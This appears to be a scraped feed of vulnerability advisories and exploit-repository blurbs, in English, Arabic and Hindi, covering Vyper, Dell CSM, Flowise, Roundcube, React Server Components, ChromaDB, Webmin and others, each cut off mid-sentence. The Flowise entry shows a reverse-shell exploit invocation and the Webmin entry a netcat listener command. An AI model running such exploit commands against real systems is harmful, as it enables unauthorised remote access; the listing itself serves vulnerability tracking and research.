GHSA-2R3X-4MRV-MCXF Vyper: Memory corruption using function calls within tuples / nested calls

Impact When performing a function call inside a tuple or as an argument inside another function call, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack. Example code: python @internal def fooa: uint256, b: uint256, c: uint256 - uint256,...

CVE-2026-63688

Dell Container Storage Modules CSM, versions prior to v1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-storage gRPC server. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to unauthorized access to...

CVE-2026-63692

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

EUVD-2026-93429

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

CVE-2026-63688

Dell Container Storage Modules CSM, versions prior to v1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-storage gRPC server. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to unauthorized access to...

CVE-2021-3156

غوص عميق في سلسلة استغلال CVE-2021-3156 Baron Samedit المؤلف: IJ Baig التاريخ: 7 يوليو 2026 1. معرّف CVE، الإصدارات المتأثرة، وتأكيد البناء معرّف CVE: CVE-2021-3156 نوع الثغرة: تجاوز سعة المخزن المؤقت المستند إلى الكومة Heap-Based Buffer Overflow نطاق الإصدارات المتأثرة: إصدارات Sudo القديمة 1.8....

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 दो कमजोरियों के लिए शोषण श्रृंखला जो Flowise -c "id" मौजूदा कुंजी के साथ रिवर्स शेल: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 विकल्प फ़्लैग| विवरण ---|--- -t, --target| लक्ष्य URL -e, --email| लक्ष्य खाता ईमेल ATO श्रृंखला को...

BinDiffHelper

BinDiffHelper إضافة Ghidra تستخدم BinDiff على مشروع Ghidra الخاص بك للعثور على الدوال المتطابقة وإعادة تسميتها تلقائيًا BinDiff 6، 7، 8 مدعومة. اطّلع على دليل BinDiff لمعرفة كيفية عمله وكيفية مطابقة الدوال / الكتل الأساسية. ومع ذلك، باستخدام هذه الإضافة، يتم أتمتة BinDiff من داخل Ghidra، لذا لا...

exploit-CVE-2016-9920

Roundcube 1.0.0 = 1.2.2 تنفيذ التعليمات البرمجية عن بُعد Roundcube هو برنامج ويب مفتوح المصدر للبريد الإلكتروني واسع الانتشار، تستخدمه العديد من المؤسسات والشركات حول العالم. على سبيل المثال، تحسب المرآة على SourceForge أكثر من 260,000 تنزيل خلال آخر 12 شهرًا، وهو جزء صغير فقط من المستخدمين...

React2Shell_Rce-cve-2025-55182

React Server Components RCE – README يوم سعيد، أتمنى حقًا أن يكون كل شيء رائعًا على جانب شاشتك! 😊✨ الوصف إصدارات React Server Components 19.0.0 و19.1.0 و19.1.1 و19.2.0 ، بما في ذلك react-server-dom-parcel وreact-server-dom-turbopack وreact-server-dom-webpack، تحتوي على ثغرة تنفيذ تعليمات برمجية ع...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB Pre-Auth RCE Critical Remote Code Execution in ChromaDB Vector Database 📌 Overview CVE-2026-45829 is a critical pre-authentication Remote Code Execution vulnerability in ChromaDB , a popular open-source AI Vector Database. An unauthenticated attacker can exploit the wa...

ntoskrnl-metadata

ntoskrnl-metadata Windows ntoskrnl.exe बाइनरी से महत्वपूर्ण कर्नेल मेटाडेटा निकालने के लिए एक IDA Python स्क्रिप्ट। यह उपकरण स्वचालित रूप से फ़ंक्शन RVAs और EPROCESS संरचना ऑफ़सेट निकालता है जो CVE-2026-40369 और अन्य कर्नेल कमज़ोरियों के लिए शोषण विकसित करने के लिए आवश्यक हैं। उद्देश्य यह उपकरण...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE निष्पादन मार्गदर्शिका Webmin 1.580 पर /file/show.cgi घटक के माध्यम से प्रमाणित रिमोट कोड निष्पादन RCE निष्पादित करने के लिए त्वरित संदर्भ। 1. हमला मशीन श्रोता पेलोड निष्पादित करने से पहले आने वाले कनेक्शन को पकड़ने के लिए अपनी स्थानीय मशीन पर यह कमांड चलाएँ: rlwrap nc -lnvp 4444...

CVE-2026-105701

The ACPT Premium plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.66 via the render function. This is due to missing capability check on the REST API form creation endpoint and unsandboxed Twig environment rendering email templates. This makes ...

CVE-2026-40897

CVE-2026-40897 Math.js एक्सप्रेशन पार्सर में रिमोट कोड एक्सेक्यूशन ★ CVE-2026-40897 Math.js में रिमोट कोड एक्सेक्यूशन PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 अवलोकन CVE-2026-40897 Math.js के एक्सप्रेशन पार्सर में सैंडबॉक्स बायपास जो रिमोट कोड...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: The Deserialization Bug That Broke the Web ⚡ React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups. ⏩ TL;...

CVE-2025-42957-SAP-S-4HANA-Under-Siege

CVE-2025-42957-SAP-S-4HANA-Under-Siege 1 – क्या हुआ? अगस्त 2025 में, SAP के प्रमुख ERP प्लेटफ़ॉर्म S/4HANA में एक RFC-सक्षम फ़ंक्शन मॉड्यूल में कमज़ोरी पाई गई। केवल निम्न-विशेषाधिकार low-privileged पहुँच वाले हमलावर उस मॉड्यूल में मनमाना ABAP कोड इंजेक्ट कर सकते हैं, सामान्य प्राधिकरण जाँचों को...

CVE-2020-8423

CVE-2020-8423 https://ktln2.org/2020/03/29/exploiting-mips-router/testing-environment पर आधारित शोध hook.c को अनुकूलित किया गया है विशेष रूप से open vmlinux संस्करण 2.6.31...

CVE-2025-55182

CVE-2025-55182 स्कैनर और एक्सप्लॉइटर !Warning यह रिपॉजिटरी केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। प्रदान किए गए PoCs का उपयोग केवल उन सिस्टमों पर करें जो आपके स्वामित्व में हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है। अनधिकृत पहुंच , शोषण, या इस रिपॉजिटरी में किसी भी सामग्री का...

CVE-2022-22963

CVE-2022-22963 أداة تعليمية لأتمتة إثبات المفهوم لثغرة CVE-2022-22963، تم توضيحها في بيئة مختبر Hack The Box مصرّح بها. نظرة عامة CVE-2022-22963 هي ثغرة في Spring Cloud Function تتعلق بترويسة spring.cloud.function.routing-expression. في التكوينات المعرّضة للخطر، يمكن للمهاجم إساءة استخدام تقييم...